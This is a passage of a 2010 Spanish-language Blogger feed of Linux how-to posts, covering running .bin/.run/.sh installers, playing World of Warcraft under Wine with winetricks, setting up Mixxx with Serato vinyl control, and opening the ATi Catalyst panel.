src="http://2.bp.blogspot.com/_adYnwobHI2E/S2WBwPCabBI/AAAAAAAAAXY/ZEjPoAeS7HY/s320/vultures-unix-installer.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Muchas veces, algunas &lt;b&gt;aplicaciones&lt;/b&gt; vienen en &lt;b&gt;extensión .bin, .run o .sh&lt;/b&gt; y los usuarios no saben &lt;b&gt;como ejecutarlas&lt;/b&gt; para instalarlas o usarlas. Para ello hoy haremos una &lt;b&gt;guía genérica&lt;/b&gt; para &lt;b&gt;ejecutar este tipo de archivos&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Lo primero de todo, &lt;b&gt;supongamos que el fichero está en el Escritorio&lt;/b&gt;. Para poder usarlo lo primero que tendremos que hacer será &lt;b&gt;abrir un terminal&lt;/b&gt; y escribir:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;cd Escritorio&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo chmod +x MiFichero.bin.run.sh&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo ./MiFichero.bin.run.sh&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Listo, en el mismo terminal nos aparecerá el &lt;b&gt;progreso de la instalación en nuestro equipo&lt;/b&gt;. &lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1567258250152596284?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1567258250152596284/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-ejecutar-archivos-bin-run-sh.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1567258250152596284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1567258250152596284'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-ejecutar-archivos-bin-run-sh.html' title='Ubuntu: Ejecutar archivos .bin .run .sh'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S2WBwPCabBI/AAAAAAAAAXY/ZEjPoAeS7HY/s72-c/vultures-unix-installer.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5946778474086583714</id><published>2010-02-01T10:00:00.001+01:00</published><updated>2010-02-01T10:00:06.701+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wine'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='World Of Warcraft'/><category scheme='http://www.blogger.com/atom/ns#' term='Juegos'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu - Instalar World of Warcraft</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2H0Npjn8lI/AAAAAAAAAW4/27PbQ8FOcBs/s1600-h/wow-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2H0Npjn8lI/AAAAAAAAAW4/27PbQ8FOcBs/s320/wow-logo.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;A petición de uno de nuestros lectores woweros, hablaremos de&lt;b&gt; como instalar el&lt;/b&gt; conocidísimo juego de masivo de rol multijugador en línea, &lt;b&gt;World Of Warcraft&lt;/b&gt;. Si yo estuviera a cargo de la agencia antidroga catalogaría este juego como peor que la heroína. En cualquier caso, hoy hablaremos sobre como ejecutarlo sin problemas.&lt;br /&gt;&lt;br /&gt;En esta &lt;b&gt;guía&lt;/b&gt;, &lt;b&gt;usaremos una copia del juego ya instalado&lt;/b&gt; ya que son famosos los bugs del instalador en Wine. En cualquier caso, &lt;b&gt;prepara tu carpeta de 10 gigas de juego que comienza la fiesta&lt;/b&gt;.&lt;br /&gt;Lo primero de todo es &lt;b&gt;instalar wine&lt;/b&gt; por si no lo tenías. Para ello &lt;b&gt;ejecutaremos el siguiente comando&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install wine&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Tras su instalación, procederemos a configurar los gráficos y el audio. Para ello en el terminal escribiremos:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;winecfg&lt;/li&gt;&lt;/ul&gt;Una vez abierto, pulsaremos sobre Audio y lo configuraremos con ALSA:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S2H4I8YPmWI/AAAAAAAAAXA/v8OZF_3A5RQ/s1600-h/audio_wow_wine.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S2H4I8YPmWI/AAAAAAAAAXA/v8OZF_3A5RQ/s320/audio_wow_wine.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Después pulsaremos sobre Gráficos y activaremos las siguientes casillas: &lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S2H4RIfTL5I/AAAAAAAAAXI/1GCqkxfa7IE/s1600-h/graficos_wow_wine.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S2H4RIfTL5I/AAAAAAAAAXI/1GCqkxfa7IE/s320/graficos_wow_wine.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Aceptaremos y cerraremos. Una vez configurado, &lt;b&gt;bajaremos el script winetricks&lt;/b&gt; que&lt;b&gt; nos ayudará a configurar ciertas cosas&lt;/b&gt; de manera muy sencilla. Para ello ejecutaremos el siguiente comando para descargarlo:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;wget http://www.kegel.com/wine/winetricks&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez descargado, le &lt;b&gt;daremos los permisos y lo moveremos a la carpeta de aplicaciones&lt;/b&gt; para poder ejecutarlo siempre desde la consola. Para ello ejecutaremos los dos siguientes comandos:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo chmod +x winetricks&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo mv winetricks /usr/local/bin&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Una vez hecho todo esto &lt;b&gt;ejecutaremos winetricks&lt;/b&gt; para que nos instale las fuentes y el directx:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;winetricks d3dx9 corefonts&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez hecho todo esto, iremos a nuestra carpeta de usuario, &lt;b&gt;Lugares &amp;gt; Carpeta Personal&lt;/b&gt;, pulsaremos la tecla &lt;b&gt;control + H&lt;/b&gt; (para &lt;b&gt;ver los archivos ocultos&lt;/b&gt;) e iremos a la &lt;b&gt;carpeta .wine&lt;/b&gt; (. delante). Pulsaremos sobre &lt;b&gt;drive_c&lt;/b&gt;, luego sobre &lt;b&gt;Archivos De Programa&lt;/b&gt; y aquí pegaremos nuestra carpeta con el juego.&lt;br /&gt;&lt;br /&gt;Ahora &lt;b&gt;para ejecutarlo&lt;/b&gt;, crearemos un &lt;b&gt;lanzador en la barra superior&lt;/b&gt; de aplicaciones, pulsando segundo botón , &lt;b&gt;añadir al panel&lt;/b&gt;, &lt;b&gt;lanzador de aplicaciones personalizado&lt;/b&gt; y rellenaremos los datos con:&lt;br /&gt;&lt;blockquote&gt;Tipo: &lt;b&gt;Aplicación&lt;/b&gt;&lt;br /&gt;Nombre: &lt;b&gt;World of Warcraft&lt;/b&gt;&lt;br /&gt;Comando: &lt;b&gt;wine "C:\Archivos de programa\World of Warcraft\Wow.exe" -opengl -window&lt;/b&gt;&lt;br /&gt;Comentario: &lt;b&gt;Juega al WoW&lt;/b&gt;&lt;br /&gt;&lt;/blockquote&gt;&amp;nbsp;Aceptaremos, y pulsaremos sobre el lanzador para ejecutarlo. Si todo ha salido bien, &lt;b&gt;jugaremos al WoW en linux&lt;/b&gt;, con &lt;b&gt;más gráficos, más fps&lt;/b&gt; y &lt;b&gt;más rendimiento que en su sistema operativo original&lt;/b&gt;. Ya &lt;b&gt;no tienes escusa para no pasarte a Linux&lt;/b&gt;. ¡Corre la voz!&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S2H4ddfrfCI/AAAAAAAAAXQ/YW_Fxk7ZhA8/s1600-h/wow_ubuntu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S2H4ddfrfCI/AAAAAAAAAXQ/YW_Fxk7ZhA8/s320/wow_ubuntu.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5946778474086583714?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5946778474086583714/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-instalar-world-of-warcraft.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5946778474086583714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5946778474086583714'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/ubuntu-instalar-world-of-warcraft.html' title='Ubuntu - Instalar World of Warcraft'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S2H0Npjn8lI/AAAAAAAAAW4/27PbQ8FOcBs/s72-c/wow-logo.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7877584196932908095</id><published>2010-01-31T10:03:00.000+01:00</published><updated>2010-01-31T10:03:00.527+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ALSA'/><category scheme='http://www.blogger.com/atom/ns#' term='Serato'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Mixxx'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Mixxx - Usando Serato en Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S2GLxGj-zMI/AAAAAAAAAWw/odBvsBEPkTQ/s1600-h/logo_mixxx_inline.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S2GLxGj-zMI/AAAAAAAAAWw/odBvsBEPkTQ/s320/logo_mixxx_inline.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Hace tiempo hablé de &lt;a href="http://donzeyt.blogspot.com/2009/12/xwax-ingenieria-inversa-en-el-mundo-del.html"&gt;Xwax&lt;/a&gt;, y de como usar tu &lt;b&gt;Serato en Linux&lt;/b&gt;, en este caso hablaré de &lt;b&gt;Mixxx&lt;/b&gt; que tiene sin duda una &lt;b&gt;mejor interfaz gráfica&lt;/b&gt;. Este programa además, &lt;b&gt;te servirá para mezclar&lt;/b&gt; sin necesidad de tener nada exterior. En esta entrada de hoy &lt;b&gt;explicaré 3 cosas básicas&lt;/b&gt;: &lt;b&gt;Usar Mixxx como alternativa libre al Virtual DJ&lt;/b&gt;, &lt;b&gt;usar Mixxx con Serato / Final Scratch&lt;/b&gt; y por último, montarte &lt;b&gt;tu propio Serato por menos de 100€&lt;/b&gt;, a mi me costó 500...&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Antes de nada, y como paso común pondré como paso&lt;b&gt; instalar Mixxx&lt;/b&gt; y como corregir ciertos errores que tienen los usuarios. Para &lt;b&gt;instalar Mixxx&lt;/b&gt; tan sólo hay que &lt;b&gt;ejecutar el siguiente comando&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install mixxx&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado &lt;b&gt;lo iniciaremos&lt;/b&gt;, si todo va bien, &lt;b&gt;nos pedirá la carpeta de donde están nuestros MP3&lt;/b&gt;. Si no aparece, que empiece el pánico. Si esto te ocurriera por favor deja un comentario en este blog o acude a la &lt;a href="http://www.mixxx.org/"&gt;página oficial de mixxx.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;USAR MIXXX COMO ALTERANTIVA AL VIRTUAL DJ&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Si lo que te gusta es hacer &lt;b&gt;mezclas locas&lt;/b&gt; y ver como quedan, &lt;b&gt;puedes usar Mixxx&lt;/b&gt; sin problemas. Su interfaz es &lt;b&gt;muy parecida a Virtual DJ&lt;/b&gt; sólo que este es &lt;b&gt;gratis y además es Software Libre&lt;/b&gt;. Una vez abierto el programa, tan sólo tendremos que &lt;b&gt;escoger nuestros temas&lt;/b&gt; y darle al &lt;b&gt;botón mágico de Sync&lt;/b&gt;, &lt;b&gt;subir los faders y a mezclar y jugar con las ecualizaciones&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2GCC-6CgSI/AAAAAAAAAWQ/TuOTvoUdCoQ/s1600-h/mixxx_virtual_dj.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2GCC-6CgSI/AAAAAAAAAWQ/TuOTvoUdCoQ/s320/mixxx_virtual_dj.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;* Mixxx como virtual DJ&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;b&gt;USAR MIXXX CON SERATO / FINAL SCRATCH&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Si quieres &lt;b&gt;usar tu Serato en Linux&lt;/b&gt; y no te gusta &lt;b&gt;XWAX&lt;/b&gt; tu salvación es &lt;b&gt;Mixxx&lt;/b&gt;. Lo primero que haremos será &lt;b&gt;conectar nuestra interfaz de audio USB&lt;/b&gt; (Serato / Final Scratch) y pulsaremos sobre &lt;b&gt;Options &amp;gt; Enable Vinyl Control&lt;/b&gt;, y después, pulsaremos sobre &lt;b&gt;Options &amp;gt; Preferences&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Una vez aquí, en este caso para el Serato, &lt;b&gt;escogeremos las siguientes salidas&lt;/b&gt;:&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2GDnAKldlI/AAAAAAAAAWY/JRQzoQ9TZuA/s1600-h/serato_mixxx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2GDnAKldlI/AAAAAAAAAWY/JRQzoQ9TZuA/s320/serato_mixxx.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Para el &lt;b&gt;Master la salida 1 (Plato 1) &lt;/b&gt;y para los &lt;b&gt;Headphones (Salida2)&lt;/b&gt;. Se podrían &lt;b&gt;conmutar las salidas&lt;/b&gt; pero es que resultaría demasiado &lt;b&gt;tedioso&lt;/b&gt; para el público. Por ello mismo usaremos la &lt;b&gt;opción más sencilla&lt;/b&gt;, que es esta &lt;b&gt;chapuza&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Para el siguiente paso &lt;b&gt;pulsaremos&lt;/b&gt; sobre &lt;b&gt;Vinyl Control&lt;/b&gt; y escogeremos:&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2GEUCsFk9I/AAAAAAAAAWg/05F5bqWW75Y/s1600-h/vinyl_control_serato_mixxx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2GEUCsFk9I/AAAAAAAAAWg/05F5bqWW75Y/s320/vinyl_control_serato_mixxx.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2GEUCsFk9I/AAAAAAAAAWg/05F5bqWW75Y/s1600-h/vinyl_control_serato_mixxx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2GEUCsFk9I/AAAAAAAAAWg/05F5bqWW75Y/s1600-h/vinyl_control_serato_mixxx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Para el&lt;b&gt; palto uno escogeremos la entrada 2,0&lt;/b&gt; y para&lt;b&gt; el plato 2 escogeremos la 2,1&lt;/b&gt;. &lt;b&gt;La entrada 2,2 es el micrófono que tiene el Serato&lt;/b&gt; que podremos emplearlo en lo que queramos.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;En el &lt;b&gt;Turntable Input premap, pondremos muy poquito&lt;/b&gt;, y en el &lt;b&gt;Vinyl Type escogeremos nuestros vinilos&lt;/b&gt;. Pulsaremos sobre OK y volveremos a la pantalla de Mixxx:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S2GFfwyfyCI/AAAAAAAAAWo/sLcv54X0YSc/s1600-h/mixxx_serato.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S2GFfwyfyCI/AAAAAAAAAWo/sLcv54X0YSc/s320/mixxx_serato.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Bajaremos el volumen del canal 2&lt;/b&gt; y &lt;b&gt;activaremos el HeadPhone&lt;/b&gt; para este canal. A partir de ahora, sólo tendremos que c&lt;b&gt;argar las canciones y usar nuestros platos para mezclar.&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Si tuvieras algunos &lt;b&gt;problemas de LAG, o que suena mal,&lt;/b&gt; te recomiendo que uses un &lt;b&gt;kernel en tiempo real&lt;/b&gt;. En el &lt;b&gt;post sobre XWAX&lt;/b&gt; lo comenté, puedes &lt;b&gt;mirarlo ahí&lt;/b&gt;, o &lt;b&gt;usar la distribución Ubuntu Studio&lt;/b&gt;, especializada en temas de sonido.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;FABRICARTE TU PROPIO FINAL SCRATCH O SERATO&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Si hace un año hubiera yo conocido que podía hacer esto, &lt;b&gt;me hubiera ahorrado más de 430 €&lt;/b&gt; en la gracia. Lo único que no es igual, ya te lo digo es que no podrás usar el phono y el line de tu mesa a la vez. Con Serato si se puede poner un &lt;b&gt;vinilo normal y mezclarlo con un tema virtual&lt;/b&gt;. En cualquier caso, el &lt;b&gt;dinero que te ahorras merece la pena&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Primero empezaremos dando los &lt;b&gt;ingredientes&lt;/b&gt; de la &lt;b&gt;receta&lt;/b&gt;:&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;2 Tarjetas de sonido USB con una entrada RCA y una salida RCA.&lt;br /&gt;2 Vinilos de serato&lt;br /&gt;Mixxx en Linux (es multiplataforma)&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;Primero de todo hablaremos de las t&lt;b&gt;arjetas USB con entrada y salida RCA&lt;/b&gt;. Buscadlas en internet porque las hay. Yo por ejemplo&lt;b&gt; recomendaría lo barato&lt;/b&gt;, en este caso: &lt;b&gt;TRUST Tarjeta de sonido 5.1 USB Surround Sound Card SC-5500p - alimentación vía USB&lt;/b&gt;. Con 2 tarjetas de estas, &lt;b&gt;conectadas a 2 puertos usb&lt;/b&gt; y &lt;b&gt;4 adaptadores de mini jack a RCA&lt;/b&gt;, podremos hacer el apaño.&lt;br /&gt;&lt;br /&gt;Conectamos las tarjetas al ordeandor, a &lt;b&gt;line in&lt;/b&gt;, &lt;b&gt;conectamos la salida del plato 1, y la salido del plato 2 a la otra tarjeta&lt;/b&gt;. En cuanto al &lt;b&gt;output de cada tarjeta lo conectaremos a las líneas de entrada de la mesa de mezclas&lt;/b&gt;. Por último y si queremos podremos conectar la salida de la mesa al micrófono de cualquiera de las tarjetas &lt;b&gt;para grabar nuestros sets&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Como &lt;b&gt;vinilos para mezclar usaremos los del serato&lt;/b&gt; que los podemso enconrar por 30 euritos los 2. Podéis buscarlos como "&lt;b&gt;Serato Time Code Vinyl&lt;/b&gt;"&lt;br /&gt;&lt;br /&gt;Una vez &lt;b&gt;hayamos puesto los vinilos&lt;/b&gt; nos iremos a la &lt;b&gt;configuración del programa Mixxx&lt;/b&gt; y lo configuraremos &lt;b&gt;como en el paso 2&lt;/b&gt;, esta vez &lt;b&gt;escogiendo nuestras tarjetas de sonido y a mezclar!!!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/XErkPDjHkbQ&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/XErkPDjHkbQ&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7877584196932908095?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7877584196932908095/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/mixxx-usando-serato-en-linux_31.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7877584196932908095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7877584196932908095'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/mixxx-usando-serato-en-linux_31.html' title='Mixxx - Usando Serato en Linux'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S2GLxGj-zMI/AAAAAAAAAWw/odBvsBEPkTQ/s72-c/logo_mixxx_inline.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7001528749353838167</id><published>2010-01-30T10:57:00.000+01:00</published><updated>2010-01-30T10:57:00.244+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Xorg'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ATi'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Linux - Driver propietario ATi y el catalist secreto.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2CrvNUWX1I/AAAAAAAAAWA/KOzC8Mj7QQE/s1600-h/amdcccle.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2CrvNUWX1I/AAAAAAAAAWA/KOzC8Mj7QQE/s320/amdcccle.jpeg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Cuando instalas desde los repositorios los &lt;b&gt;drivers privativos&lt;/b&gt; de cualquier &lt;b&gt;tarjeta ATi&lt;/b&gt;, tienen la manía de no mostrarte, el &lt;b&gt;menú del Catalist&lt;/b&gt;, desde el que podrás &lt;b&gt;modificar&lt;/b&gt; varios aspectos de tu &lt;b&gt;tarjeta gráfica&lt;/b&gt; y &lt;b&gt;jugar con la distribución de los monitores&lt;/b&gt; si tienes dos.&lt;br /&gt;Para ello, ejecutaremos el siguiente comando en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo amdcccle&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Las &lt;b&gt;siglas ccc &lt;/b&gt;son de &lt;b&gt;C&lt;/b&gt;atalist &lt;b&gt;C&lt;/b&gt;ontrol &lt;b&gt;C&lt;/b&gt;enter, &lt;b&gt;amd&lt;/b&gt; es la marca y las siglas &lt;b&gt;le&lt;/b&gt;, no se que significarán. En cualquier caso tras ejecutarlo, se nos &lt;b&gt;abrirá una ventana&lt;/b&gt; y en ella podremos &lt;b&gt;configurar nuestra tarjeta gráfica a nuestro gusto&lt;/b&gt;. 